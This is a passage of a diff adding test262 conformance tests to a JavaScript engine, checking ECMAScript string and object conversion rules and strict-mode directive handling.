+ * @path ch09/9.8/S9.8_A4_T1.js
+ * @description Some strings convert to String with explicit transformation
+ */
+
+// CHECK#1
+var x1 = "abc";
+if (String(x1) !== x1) {
+ $ERROR('#1: String("abc") === "abc". Actual: ' + (String("abc")));
+}
+
+// CHECK#2
+var x2 = "abc";
+if (typeof String(x2) !== typeof x2) {
+ $ERROR('#2: typeof String("abc") === "string". Actual: ' + (typeof String("abc")));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A4_T2.js b/js/src/tests/test262/ch09/9.8/S9.8_A4_T2.js
new file mode 100644
index 000000000..fdde4c38e
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A4_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of String conversion from string value is the input argument (no conversion)
+ *
+ * @path ch09/9.8/S9.8_A4_T2.js
+ * @description Some strings convert to String by implicit transformation
+ */
+
+// CHECK#1
+var x1 = "abc";
+if (x1 + "" !== x1) {
+ $ERROR('#1: "abc" + "" === "abc". Actual: ' + ("abc" + ""));
+}
+
+// CHECK#2
+var x2 = "abc";
+if (typeof x2 + "" !== typeof x2) {
+ $ERROR('#2: typeof "abc" + "" === "string". Actual: ' + (typeof "abc" + ""));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A5_T1.js b/js/src/tests/test262/ch09/9.8/S9.8_A5_T1.js
new file mode 100644
index 000000000..55d88c102
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A5_T1.js
@@ -0,0 +1,93 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of String conversion from Object value is conversion
+ * from primitive value
+ *
+ * @path ch09/9.8/S9.8_A5_T1.js
+ * @description Some objects convert to String by explicit transformation
+ */
+
+// CHECK#1
+if (String(new Number()) !== "0") {
+ $ERROR('#1: String(new Number()) === "0". Actual: ' + (String(new Number())));
+}
+
+// CHECK#2
+if (String(new Number(0)) !== "0") {
+ $ERROR('#2: String(new Number(0)) === "0". Actual: ' + (String(new Number(0))));
+}
+
+// CHECK#3
+if (String(new Number(Number.NaN)) !== "NaN") {
+ $ERROR('#3: String(new Number(Number.NaN)) === Not-a-Number. Actual: ' + (String(new Number(Number.NaN))));
+}
+
+// CHECK#4
+if (String(new Number(null)) !== "0") {
+ $ERROR('#4: String(new Number(null)) === "0". Actual: ' + (String(new Number(null))));
+}
+
+// CHECK#5
+if (String(new Number(void 0)) !== "NaN") {
+ $ERROR('#5: String(new Number(void 0)) === Not-a-Number. Actual: ' + (String(new Number(void 0))));
+}
+
+// CHECK#6
+if (String(new Number(true)) !== "1") {
+ $ERROR('#6: String(new Number(true)) === "1". Actual: ' + (String(new Number(true))));
+}
+
+// CHECK#7
+if (String(new Number(false)) !== "0") {
+ $ERROR('#7: String(new Number(false)) === "0". Actual: ' + (String(new Number(false))));
+}
+
+// CHECK#8
+if (String(new Boolean(true)) !== "true") {
+ $ERROR('#8: String(new Boolean(true)) === "true". Actual: ' + (String(new Boolean(true))));
+}
+
+// CHECK#9
+if (String(new Boolean(false)) !== "false") {
+ $ERROR('#9: Number(new Boolean(false)) === "false". Actual: ' + (Number(new Boolean(false))));
+}
+
+// CHECK#10
+if (String(new Array(2,4,8,16,32)) !== "2,4,8,16,32") {
+ $ERROR('#10: String(new Array(2,4,8,16,32)) === "2,4,8,16,32". Actual: ' + (String(new Array(2,4,8,16,32))));
+}
+
+// CHECK#11
+var myobj1 = {
+ toNumber : function(){return 12345;},
+ toString : function(){return 67890;},
+ valueOf : function(){return "[object MyObj]";}
+ };
+
+if (String(myobj1) !== "67890"){
+ $ERROR("#11: String(myobj) calls ToPrimitive with hint String");
+}
+
+// CHECK#12
+var myobj2 = {
+ toNumber : function(){return 12345;},
+ toString : function(){return {}},
+ valueOf : function(){return "[object MyObj]";}
+ };
+
+if (String(myobj2) !== "[object MyObj]"){
+ $ERROR("#12: String(myobj) calls ToPrimitive with hint String");
+}
+
+// CHECK#13
+var myobj3 = {
+ toNumber : function(){return 12345;},
+ valueOf : function(){return "[object MyObj]";}
+ };
+
+if (String(myobj3) !== "[object Object]"){
+ $ERROR("#13: String(myobj) calls ToPrimitive with hint String");
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/S9.8_A5_T2.js b/js/src/tests/test262/ch09/9.8/S9.8_A5_T2.js
new file mode 100644
index 000000000..7911adaee
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/S9.8_A5_T2.js
@@ -0,0 +1,92 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of String conversion from Object value is conversion
+ * from primitive value
+ *
+ * @path ch09/9.8/S9.8_A5_T2.js
+ * @description Some objects convert to String by implicit transformation
+ */
+
+// CHECK#1
+if (new Number() + "" !== "0") {
+ $ERROR('#1: new Number() + "" === "0". Actual: ' + (new Number() + ""));
+}
+
+// CHECK#2
+if (new Number(0) + "" !== "0") {
+ $ERROR('#2: new Number(0) + "" === "0". Actual: ' + (new Number(0) + ""));
+}
+
+// CHECK#3
+if (new Number(Number.NaN) + "" !== "NaN") {
+ $ERROR('#3: new Number(Number.NaN) + "" === "NaN". Actual: ' + (new Number(Number.NaN) + ""));
+}
+
+// CHECK#4
+if (new Number(null) + "" !== "0") {
+ $ERROR('#4: new Number(null) + "" === "0". Actual: ' + (new Number(null) + ""));
+}
+
+// CHECK#5
+if (new Number(void 0) + "" !== "NaN") {
+ $ERROR('#5: new Number(void 0) + "" === "NaN. Actual: ' + (new Number(void 0) + ""));
+}
+
+// CHECK#6
+if (new Number(true) + "" !== "1") {
+ $ERROR('#6: new Number(true) + "" === "1". Actual: ' + (new Number(true) + ""));
+}
+
+// CHECK#7
+if (new Number(false) + "" !== "0") {
+ $ERROR('#7: new Number(false) + "" === "0". Actual: ' + (new Number(false) + ""));
+}
+
+// CHECK#8
+if (new Boolean(true) + "" !== "true") {
+ $ERROR('#8: new Boolean(true) + "" === "true". Actual: ' + (new Boolean(true) + ""));
+}
+
+// CHECK#9
+if (new Boolean(false) + "" !== "false") {
+ $ERROR('#9: Number(new Boolean(false)) === "false". Actual: ' + (Number(new Boolean(false))));
+}
+
+// CHECK#10
+if (new Array(2,4,8,16,32) + "" !== "2,4,8,16,32") {
+ $ERROR('#10: new Array(2,4,8,16,32) + "" === "2,4,8,16,32". Actual: ' + (new Array(2,4,8,16,32) + ""));
+}
+
+// CHECK#11
+var myobj1 = {
+ toNumber : function(){return 12345;},
+ toString : function(){return 67890;},
+ valueOf : function(){return "[object MyObj]";}
+ };
+
+if (myobj1 + "" !== "[object MyObj]"){
+ $ERROR('#11: myobj1 + "" calls ToPrimitive with hint Number. Exptected: "[object MyObj]". Actual: ' + (myobj1 + ""));
+}
+
+// CHECK#12
+var myobj2 = {
+ toNumber : function(){return 12345;},
+ toString : function(){return 67890},
+ valueOf : function(){return {}}
+ };
+
+if (myobj2 + "" !== "67890"){
+ $ERROR('#12: myobj2 + "" calls ToPrimitive with hint Number. Exptected: "67890". Actual: ' + (myobj2 + ""));
+}
+
+// CHECK#13
+var myobj3 = {
+ toNumber : function(){return 12345;}
+ };
+
+if (myobj3 + "" !== "[object Object]"){
+ $ERROR('#13: myobj3 + "" calls ToPrimitive with hint Number. Exptected: "[object Object]". Actual: ' + (myobj3 + ""));
+}
+
diff --git a/js/src/tests/test262/ch09/9.8/browser.js b/js/src/tests/test262/ch09/9.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/browser.js
diff --git a/js/src/tests/test262/ch09/9.8/shell.js b/js/src/tests/test262/ch09/9.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.8/shell.js
diff --git a/js/src/tests/test262/ch09/9.9/S9.9_A1.js b/js/src/tests/test262/ch09/9.9/S9.9_A1.js
new file mode 100644
index 000000000..a1d36aabd
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/S9.9_A1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToObject conversion from undefined value must throw TypeError
+ *
+ * @path ch09/9.9/S9.9_A1.js
+ * @description Trying to convert undefined to Object
+ * @noStrict
+ */
+
+// CHECK#1
+try{
+ undefined['foo'];
+ $ERROR('#1.1: undefined[\'foo\'] must throw TypeError. Actual: ' + (undefined['foo']));
+}
+catch(e){
+ if((e instanceof TypeError) !== true){
+ $ERROR('#1.2: undefined[\'foo\'] must throw TypeError. Actual: ' + (e));
+ }
+}
+
+// CHECK#2
+try{
+ with(undefined) x = 2;
+ $ERROR('#2.1: with(undefined) x = 2 must throw TypeError. Actual: x === ' + (x));
+}
+catch(e){
+ if((e instanceof TypeError) !== true){
+ $ERROR('#2.2: with(undefined) x = 2 must throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.9/S9.9_A2.js b/js/src/tests/test262/ch09/9.9/S9.9_A2.js
new file mode 100644
index 000000000..42e1980e7
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/S9.9_A2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToObject conversion from null value must throw TypeError
+ *
+ * @path ch09/9.9/S9.9_A2.js
+ * @description Trying to convert null to Object
+ * @noStrict
+ */
+
+// CHECK#1
+try{
+ null['foo'];
+ $ERROR('#1.1: null[\'foo\'] throw TypeError. Actual: ' + (null['foo']));
+}
+catch(e){
+ if((e instanceof TypeError) !== true){
+ $ERROR('#1.2: null[\'foo\'] must throw TypeError. Actual: ' + (e));
+ }
+}
+
+// CHECK#2
+try{
+ with(null) x = 2;
+ $ERROR('#2.1: with(null) x = 2 must throw TypeError. Actual: x === . Actual: ' + (x));
+}
+catch(e){
+ if((e instanceof TypeError) !== true){
+ $ERROR('#2.2: with(null) x = 2 must throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch09/9.9/S9.9_A3.js b/js/src/tests/test262/ch09/9.9/S9.9_A3.js
new file mode 100644
index 000000000..f91cd8e82
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/S9.9_A3.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToObject conversion from Boolean: create a new Boolean object
+ * whose [[value]] property is set to the value of the boolean
+ *
+ * @path ch09/9.9/S9.9_A3.js
+ * @description Trying to convert from Boolean to Object
+ */
+
+// CHECK#1
+if (Object(true).valueOf() !== true){
+ $ERROR('#1: Object(true).valueOf() === true. Actual: ' + (Object(true).valueOf()));
+}
+
+// CHECK#2
+if (typeof Object(true) !== "object"){
+ $ERROR('#2: typeof Object(true) === "object". Actual: ' + (typeof Object(true)));
+}
+
+// CHECK#3
+if (Object(true).constructor.prototype !== Boolean.prototype){
+ $ERROR('#3: Object(true).constructor.prototype === Boolean.prototype. Actual: ' + (Object(true).constructor.prototype));
+}
+
+// CHECK#4
+if (Object(false).valueOf() !== false){
+ $ERROR('#4: Object(false).valueOf() === false. Actual: ' + (Object(false).valueOf()));
+}
+
+// CHECK#5
+if (typeof Object(false) !== "object"){
+ $ERROR('#5: typeof Object(false) === "object". Actual: ' + (typeof Object(false)));
+}
+
+// CHECK#6
+if (Object(false).constructor.prototype !== Boolean.prototype){
+ $ERROR('#6: Object(false).constructor.prototype === Boolean.prototype. Actual: ' + (Object(false).constructor.prototype));
+}
+
diff --git a/js/src/tests/test262/ch09/9.9/S9.9_A4.js b/js/src/tests/test262/ch09/9.9/S9.9_A4.js
new file mode 100644
index 000000000..2f08bf52c
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/S9.9_A4.js
@@ -0,0 +1,178 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToObject conversion from Number: create a new Number object
+ * whose [[value]] property is set to the value of the number
+ *
+ * @path ch09/9.9/S9.9_A4.js
+ * @description Converting from various numbers to Object
+ */
+
+// CHECK#1
+if (Object(0).valueOf() !== 0){
+ $ERROR('#1: Object(0).valueOf() === 0. Actual: ' + (Object(0).valueOf()));
+}
+
+// CHECK#2
+if (typeof Object(0) !== "object"){
+ $ERROR('#2: typeof Object(0) === "object". Actual: ' + (typeof Object(0)));
+}
+
+// CHECK#3
+if (Object(0).constructor.prototype !== Number.prototype){
+ $ERROR('#3: Object(0).constructor.prototype === Number.prototype. Actual: ' + (Object(0).constructor.prototype));
+}
+
+// CHECK#4
+if (Object(-0).valueOf() !== -0){
+ $ERROR('#4.1: Object(-0).valueOf() === 0. Actual: ' + (Object(-0).valueOf()));
+} else if (1/Object(-0).valueOf() !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4.2: Object(-0).valueOf() === -0. Actual: +0');
+}
+
+// CHECK#5
+if (typeof Object(-0) !== "object"){
+ $ERROR('#5: typeof Object(-0) === "object". Actual: ' + (typeof Object(-0)));
+}
+
+// CHECK#6
+if (Object(-0).constructor.prototype !== Number.prototype){
+ $ERROR('#6: Object(-0).constructor.prototype === Number.prototype. Actual: ' + (Object(-0).constructor.prototype));
+}
+
+// CHECK#7
+if (Object(1).valueOf() !== 1){
+ $ERROR('#7: Object(1).valueOf() === 1. Actual: ' + (Object(1).valueOf()));
+}
+
+// CHECK#8
+if (typeof Object(1) !== "object"){
+ $ERROR('#8: typeof Object(1) === "object". Actual: ' + (typeof Object(1)));
+}
+
+// CHECK#9
+if (Object(1).constructor.prototype !== Number.prototype){
+ $ERROR('#9: Object(1).constructor.prototype === Number.prototype. Actual: ' + (Object(1).constructor.prototype));
+}
+
+// CHECK#10
+if (Object(-1).valueOf() !== -1){
+ $ERROR('#10: Object(-1).valueOf() === -1. Actual: ' + (Object(-1).valueOf()));
+}
+
+// CHECK#11
+if (typeof Object(-1) !== "object"){
+ $ERROR('#11: typeof Object(-1) === "object". Actual: ' + (typeof Object(-1)));
+}
+
+// CHECK#12
+if (Object(-1).constructor.prototype !== Number.prototype){
+ $ERROR('#12: Object(-1).constructor.prototype === Number.prototype. Actual: ' + (Object(-1).constructor.prototype));
+}
+
+// CHECK#13
+if (Object(Number.MIN_VALUE).valueOf() !== Number.MIN_VALUE){
+ $ERROR('#13: Object(Number.MIN_VALUE).valueOf() === Number.MIN_VALUE. Actual: ' + (Object(Number.MIN_VALUE).valueOf()));
+}
+
+// CHECK#14
+if (typeof Object(Number.MIN_VALUE) !== "object"){
+ $ERROR('#14: typeof Object(Number.MIN_VALUE) === "object". Actual: ' + (typeof Object(Number.MIN_VALUE)));
+}
+
+// CHECK#15
+if (Object(Number.MIN_VALUE).constructor.prototype !== Number.prototype){
+ $ERROR('#15: Object(Number.MIN_VALUE).constructor.prototype === Number.prototype. Actual: ' + (Object(Number.MIN_VALUE).constructor.prototype));
+}
+
+// CHECK#16
+if (Object(Number.MAX_VALUE).valueOf() !== Number.MAX_VALUE){
+ $ERROR('#16: Object(Number.MAX_VALUE).valueOf() === Number.MAX_VALUE. Actual: ' + (Object(Number.MAX_VALUE).valueOf()));
+}
+
+// CHECK#17
+if (typeof Object(Number.MAX_VALUE) !== "object"){
+ $ERROR('#17: typeof Object(Number.MAX_VALUE) === "object". Actual: ' + (typeof Object(Number.MAX_VALUE)));
+}
+
+// CHECK#18
+if (Object(Number.MAX_VALUE).constructor.prototype !== Number.prototype){
+ $ERROR('#18: Object(Number.MAX_VALUE).constructor.prototype === Number.prototype. Actual: ' + (Object(Number.MAX_VALUE).constructor.prototype));
+}
+
+// CHECK#19
+if (Object(Number.POSITIVE_INFINITY).valueOf() !== Number.POSITIVE_INFINITY){
+ $ERROR('#19: Object(Number.POSITIVE_INFINITY).valueOf() === Number.POSITIVE_INFINITY. Actual: ' + (Object(Number.POSITIVE_INFINITY).valueOf()));
+}
+
+// CHECK#20
+if (typeof Object(Number.POSITIVE_INFINITY) !== "object"){
+ $ERROR('#20: typeof Object(Number.POSITIVE_INFINITY) === "object". Actual: ' + (typeof Object(Number.POSITIVE_INFINITY)));
+}
+
+// CHECK#21
+if (Object(Number.POSITIVE_INFINITY).constructor.prototype !== Number.prototype){
+ $ERROR('#21: Object(Number.POSITIVE_INFINITY).constructor.prototype === Number.prototype. Actual: ' + (Object(Number.POSITIVE_INFINITY).constructor.prototype));
+}
+
+// CHECK#22
+if (Object(Number.NEGATIVE_INFINITY).valueOf() !== Number.NEGATIVE_INFINITY){
+ $ERROR('#22: Object(Number.NEGATIVE_INFINITY).valueOf() === Number.NEGATIVE_INFINITY. Actual: ' + (Object(Number.NEGATIVE_INFINITY).valueOf()));
+}
+
+// CHECK#23
+if (typeof Object(Number.NEGATIVE_INFINITY) !== "object"){
+ $ERROR('#23: typeof Object(Number.NEGATIVE_INFINITY) === "object". Actual: ' + (typeof Object(Number.NEGATIVE_INFINITY)));
+}
+
+// CHECK#24
+if (Object(Number.NEGATIVE_INFINITY).constructor.prototype !== Number.prototype){
+ $ERROR('#24: Object(Number.NEGATIVE_INFINITY).constructor.prototype === Number.prototype. Actual: ' + (Object(Number.NEGATIVE_INFINITY).constructor.prototype));
+}
+
+// CHECK#25
+if (isNaN(Object(Number.NaN).valueOf()) !== true){
+ $ERROR('#25: Object(Number.NaN).valueOf() === Not-a-Number. Actual: ' + (Object(Number.NaN).valueOf()));
+}
+
+// CHECK#26
+if (typeof Object(Number.NaN) !== "object"){
+ $ERROR('#26: typeof Object(Number.NaN) === "object". Actual: ' + (typeof Object(Number.NaN)));
+}
+
+// CHECK#27
+if (Object(Number.NaN).constructor.prototype !== Number.prototype){
+ $ERROR('#27: Object(Number.NaN).constructor.prototype === Number.prototype. Actual: ' + (Object(Number.NaN).constructor.prototype));
+}
+
+// CHECK#28
+if (Object(1.2345).valueOf() !== 1.2345){
+ $ERROR('#28: Object(1.2345).valueOf() === 1.2345. Actual: ' + (Object(1.2345).valueOf()));
+}
+
+// CHECK#29
+if (typeof Object(1.2345) !== "object"){
+ $ERROR('#29: typeof Object(1.2345) === "object". Actual: ' + (typeof Object(1.2345)));
+}
+
+// CHECK#30
+if (Object(1.2345).constructor.prototype !== Number.prototype){
+ $ERROR('#30: Object(1.2345).constructor.prototype === Number.prototype. Actual: ' + (Object(1.2345).constructor.prototype));
+}
+
+// CHECK#31
+if (Object(-1.2345).valueOf() !== -1.2345){
+ $ERROR('#31: Object(-1.2345).valueOf() === -1.2345. Actual: ' + (Object(-1.2345).valueOf()));
+}
+
+// CHECK#32
+if (typeof Object(-1.2345) !== "object"){
+ $ERROR('#32: typeof Object(-1.2345) === "object". Actual: ' + (typeof Object(-1.2345)));
+}
+
+// CHECK#33
+if (Object(-1.2345).constructor.prototype !== Number.prototype){
+ $ERROR('#33: Object(-1.2345).constructor.prototype === Number.prototype. Actual: ' + (Object(-1.2345).constructor.prototype));
+}
+
diff --git a/js/src/tests/test262/ch09/9.9/S9.9_A5.js b/js/src/tests/test262/ch09/9.9/S9.9_A5.js
new file mode 100644
index 000000000..2f59c1182
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/S9.9_A5.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToObject conversion from String: create a new String object
+ * whose [[value]] property is set to the value of the string
+ *
+ * @path ch09/9.9/S9.9_A5.js
+ * @description Converting from various strings to Object
+ */
+
+// CHECK#1
+if (Object("some string").valueOf() !== "some string"){
+ $ERROR('#1: Object("some string").valueOf() === "some string". Actual: ' + (Object("some string").valueOf()));
+}
+
+// CHECK#2
+if (typeof Object("some string") !== "object"){
+ $ERROR('#2: typeof Object("some string") === "object". Actual: ' + (typeof Object("some string")));
+}
+
+// CHECK#3
+if (Object("some string").constructor.prototype !== String.prototype){
+ $ERROR('#3: Object("some string").constructor.prototype === String.prototype. Actual: ' + (Object("some string").constructor.prototype));
+}
+
+// CHECK#4
+if (Object("").valueOf() !== ""){
+ $ERROR('#4: Object("").valueOf() === false. Actual: ' + (Object("").valueOf()));
+}
+
+// CHECK#5
+if (typeof Object("") !== "object"){
+ $ERROR('#5: typeof Object("") === "object". Actual: ' + (typeof Object("")));
+}
+
+// CHECK#6
+if (Object("").constructor.prototype !== String.prototype){
+ $ERROR('#6: Object("").constructor.prototype === String.prototype. Actual: ' + (Object("").constructor.prototype));
+}
+
+// CHECK#7
+if (Object("\r\t\b\n\v\f").valueOf() !== "\r\t\b\n\v\f"){
+ $ERROR('#7: Object("\\r\\t\\b\\n\\v\\f").valueOf() === false. Actual: ' + (Object("\r\t\b\n\v\f").valueOf()));
+}
+
+// CHECK#8
+if (typeof Object("\r\t\b\n\v\f") !== "object"){
+ $ERROR('#8: typeof Object("\\r\\t\\b\\n\\v\\f") === "object". Actual: ' + (typeof Object("\r\t\b\n\v\f")));
+}
+
+// CHECK#9
+if (Object("\r\t\b\n\v\f").constructor.prototype !== String.prototype){
+ $ERROR('#9: Object("\\r\\t\\b\\n\\v\\f").constructor.prototype === String.prototype. Actual: ' + (Object("\r\t\b\n\v\f").constructor.prototype));
+}
+
+// CHECK#10
+if (Object(String(10)).valueOf() !== "10"){
+ $ERROR('#10: Object(String(10)).valueOf() === false. Actual: ' + (Object(String(10)).valueOf()));
+}
+
+// CHECK#11
+if (typeof Object(String(10)) !== "object"){
+ $ERROR('#11: typeof Object(String(10)) === "object". Actual: ' + (typeof Object(String(10))));
+}
+
+// CHECK#12
+if (Object(String(10)).constructor.prototype !== String.prototype){
+ $ERROR('#12: Object(String(10)).constructor.prototype === String.prototype. Actual: ' + (Object(String(10)).constructor.prototype));
+}
+
diff --git a/js/src/tests/test262/ch09/9.9/S9.9_A6.js b/js/src/tests/test262/ch09/9.9/S9.9_A6.js
new file mode 100644
index 000000000..a25679016
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/S9.9_A6.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToObject conversion from Object: The result is the input
+ * argument (no conversion)
+ *
+ * @path ch09/9.9/S9.9_A6.js
+ * @description Converting from Objects to Object
+ */
+
+function MyObject( val ) {
+ this.value = val;
+ this.valueOf = function (){ return this.value; }
+}
+
+var x = new MyObject(1);
+var y = Object(x);
+
+// CHECK#1
+if (y.valueOf() !== x.valueOf()){
+ $ERROR('#1: Object(obj).valueOf() === obj.valueOf(). Actual: ' + (Object(obj).valueOf()));
+}
+
+// CHECK#2
+if (typeof y !== typeof x){
+ $ERROR('#2: typeof Object(obj) === typeof obj. Actual: ' + (typeof Object(obj)));
+}
+
+// CHECK#3
+if (y.constructor.prototype !== x.constructor.prototype){
+ $ERROR('#3: Object(obj).constructor.prototype === obj.constructor.prototype. Actual: ' + (Object(obj).constructor.prototype));
+}
+
+
+// CHECK#4
+if (y !== x){
+ $ERROR('#4: Object(obj) === obj');
+}
+
diff --git a/js/src/tests/test262/ch09/9.9/browser.js b/js/src/tests/test262/ch09/9.9/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/browser.js
diff --git a/js/src/tests/test262/ch09/9.9/shell.js b/js/src/tests/test262/ch09/9.9/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/9.9/shell.js
diff --git a/js/src/tests/test262/ch09/browser.js b/js/src/tests/test262/ch09/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/browser.js
diff --git a/js/src/tests/test262/ch09/shell.js b/js/src/tests/test262/ch09/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch09/shell.js
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-1-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-1-s.js
new file mode 100644
index 000000000..a9cf025bc
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-1-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-1-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is 'use strict'; which contains two space between 'use' and 'strict'
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var public = 1;
+ return public === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-10-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-10-s.js
new file mode 100644
index 000000000..51aa8ca73
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-10-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-10-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''USE STRICT';' in which all characters are uppercase
+ * @noStrict
+ */
+
+
+function testcase() {
+ "USE STRICT";
+ var public = 1;
+ return public === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-11-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-11-s.js
new file mode 100644
index 000000000..6d7794d97
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-11-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-11-s.js
+ * @description Strict Mode - Eval code is strict code with a Use Strict Directive at the beginning of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ try {
+ eval("'use strict'; var public = 1; var anotherVariableNotReserveWord = 2;");
+
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && typeof public === "undefined" &&
+ typeof anotherVariableNotReserveWord === "undefined";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-12-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-12-s.js
new file mode 100644
index 000000000..09fdffe84
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-12-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-12-s.js
+ * @description Strict Mode - Eval code is strict eval code with a Use Strict Directive in the middle of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ eval("var public = 1; 'use strict'; var anotherVariableNotReserveWord = 2;");
+ return public === 1 && anotherVariableNotReserveWord === 2;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-13-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-13-s.js
new file mode 100644
index 000000000..0a4ba30ff
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-13-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-13-s.js
+ * @description Strict Mode - Eval code is strict eval code with a Use Strict Directive at the end of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ eval("var public = 1; var anotherVariableNotReserveWord = 2; 'use strict';");
+ return public === 1 && anotherVariableNotReserveWord === 2;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-14-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-14-s.js
new file mode 100644
index 000000000..dff413366
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-14-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-14-s.js
+ * @description Strict Mode - The call to eval function is contained in a Strict Mode block
+ * @noStrict
+ */
+
+
+function testcase() {
